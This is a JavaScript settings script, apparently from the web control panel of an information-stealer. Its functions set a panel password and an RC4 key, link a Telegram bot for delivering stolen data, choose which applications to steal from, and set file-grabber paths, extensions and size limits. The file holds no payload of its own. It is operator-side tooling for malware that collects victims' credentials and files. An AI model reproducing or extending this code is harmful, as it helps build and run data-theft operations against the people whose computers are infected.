/* Coded by L1ghtM3n@protonmail.com */

document.addEventListener("DOMContentLoaded", function() {
    // Init sidebar
    var elems = document.querySelectorAll(".sidenav");
    var instances = M.Sidenav.init(elems, {});
    // Init tooltips
    var elems = document.querySelectorAll(".tooltipped");
    var instances = M.Tooltip.init(elems, {});
    // Init dropdowns
    var elems = document.querySelectorAll(".dropdown-trigger");
    var instances = M.Dropdown.init(elems, {"coverTrigger": false, "closeOnClick": false});
    // Init selects
    var elems = document.querySelectorAll("select");
    var instances = M.FormSelect.init(elems, {});
});


// Change password
function ChangePassword() {
    let current_password = document.getElementById("curr_pwd_input").value;
    let new_password_1 = document.getElementById("new_pwd_input1").value;
    let new_password_2 = document.getElementById("new_pwd_input2").value;

    // Password is too weak
    if (current_password.length < 1 || new_password_1.length < 2 || new_password_2 < 2) {
        M.toast({html: "Password is too weak"});
        return false;
    }
    // Passwords do not match
    if (new_password_1 != new_password_2) {
        M.toast({html: "Passwords do not match"});
        return false;
    }
    // Create request
    let xhr = new XMLHttpRequest();
    let formData = new FormData();
    formData.append("old_password", current_password)
    formData.append("new_password", new_password_2)
    // Send request
    xhr.open("POST", "api/change_password", false);
    xhr.send(formData);
    // Handle server error
    if (xhr.status !== 200) {
        M.toast({html: xhr.status + ": " + xhr.statusText});
        return false;
    }
    // Parse server response
    let response = JSON.parse(xhr.responseText);
    M.toast({html: response["message"]});
    // Redirect to login page
    if (response["error"] === false) {
        setTimeout(() =>
            location.href = "/login",
            1500
        );
    }
    
    return true;
}


// Change encryption key
function ChangeEncrypionKey() {
    // Get key
    let rc4_key = document.getElementById("curr_encr_key_input").value;
    // Create request
    let xhr = new XMLHttpRequest();
    let formData = new FormData();
    formData.append("rc4_key", rc4_key)
    // Send request
    xhr.open("POST", "api/change_encryption_key", false);
    xhr.send(formData);
    // Handle server error
    if (xhr.status !== 200) {
        M.toast({html: xhr.status + ": " + xhr.statusText});
        return false;
    }
    // Parse server response
    let response = JSON.parse(xhr.responseText);
    M.toast({html: response["message"]});
}


// Set telegram bot token and id
function SetTelegramBot() {
    // Get values
    let token = document.getElementById("telegram_token_input").value;
    let ids = JSON.stringify(document.getElementById("telegram_ids_input").value.split(', '));
    // Send request
    let xhr1 = new XMLHttpRequest();
    xhr1.open("GET", `https://api.telegram.org/bot${token}/getMe`, false);
    xhr1.send();
    // Handle server error
    if (xhr1.status !== 200) {
        M.toast({html: xhr1.status + ": " + xhr1.statusText});
        return false;
    }
    // Parse server response
    let response1 = JSON.parse(xhr1.responseText);
    if (response1["ok"] === false) {
        M.toast({html: response1["Unauthorized"]});
        return false;
    }
    // Print telegram bot name
    M.toast({html: "Bot @" + response1["result"]["username"] + " connected successfully..."});
    // Save credentials on server
    let xhr2 = new XMLHttpRequest();
    xhr2.open("GET", `api/set_telegram_credentials?token=${token}&json_list=${ids}`, false);
    xhr2.send();
    // Handle server error
    if (xhr2.status !== 200) {
        M.toast({html: xhr2.status + ": " + xhr2.statusText});
        return false;
    }
    // Parse server response
    let response2 = JSON.parse(xhr2.responseText);
    M.toast({html: response2["message"]});
    return true;
}

// Unlink telegram bot
function DelTelegramBot() {
    // Save credentials on server
    let xhr = new XMLHttpRequest();
    xhr.open("GET", "api/set_telegram_credentials?token=&json_list=[]", false);
    xhr.send();
    // Handle server error
    if (xhr.status !== 200) {
        M.toast({html: xhr.status + ": " + xhr.statusText});
        return false;
    }
    // Parse server response
    let response = JSON.parse(xhr.responseText);
    if (response["error"] === false) {
        M.toast({html: "Token removed"});
        return true;
    }
    // Errors
    M.toast({html: response["message"]});
    return false;
}

// Save apps list to steal
function SaveStealingData() {
    // Get data
    let selectElement = document.getElementById("toggle_stealing_options");
    let selectedValues = JSON.stringify(
        Array.from(selectElement.selectedOptions)
        .map(option => option.value));
    // Create request
    let xhr = new XMLHttpRequest();
    // Send request
    xhr.open("GET", "api/set_apps_collection_configuration?json_list=" + selectedValues, false);
    xhr.send();
    // Handle server error
    if (xhr.status !== 200) {
        M.toast({html: xhr.status + ": " + xhr.statusText});
        return false;
    }
    // Parse server response
    let response = JSON.parse(xhr.responseText);
    M.toast({html: response["message"]});
}

// Add grabber path
function AddGrabberPath() {
    let entry = document.getElementById("path_input");
    // Create API request
    let xhr = new XMLHttpRequest();
    xhr.open("GET", "api/new_grabber_path?b64_value=" + btoa(entry.value), false);
    xhr.send();
    // Handle server error
    if (xhr.status !== 200) {
        M.toast({html: xhr.status + ": " + xhr.statusText});
        return false;
    }
    // Clear
    entry.value = "";
    // Parse server response
    let response = JSON.parse(xhr.responseText);
    // Show response
    M.toast({html: response["message"]});
    return true;
}

// Delete report function
function DeleteGrabberPath(value, obj) {
    // Create API request
    let xhr = new XMLHttpRequest();
    xhr.open("GET", "api/del_grabber_path?b64_value=" + btoa(value), false);
    xhr.send();
    // Handle server error
    if (xhr.status !== 200) {
        M.toast({html: xhr.status + ": " + xhr.statusText});
        return false;
    }
    // Parse server response
    let response = JSON.parse(xhr.responseText);
    // Hide report from table
    if (response["error"] === false) { 
        obj.parentElement.parentElement.remove();
    }
    // Show response
    M.toast({html: response["message"]});
    return true;
}

// Set grabber extensions
function SetExtensions() {
    let json = JSON.stringify(document.getElementById("extensions_area").value.split(", "));
    let size = document.getElementById("size_input").value;
    // Create API request
    let xhr = new XMLHttpRequest();
    xhr.open("GET", `api/set_grabber_extensions?json_list=${json}&size=${size}`, false);
    xhr.send();
    // Handle server error
    if (xhr.status !== 200) {
        M.toast({html: xhr.status + ": " + xhr.statusText});
        return false;
    }
    // Parse server response
    let response = JSON.parse(xhr.responseText);
    // Show response
    M.toast({html: response["message"]});
    return true;
}

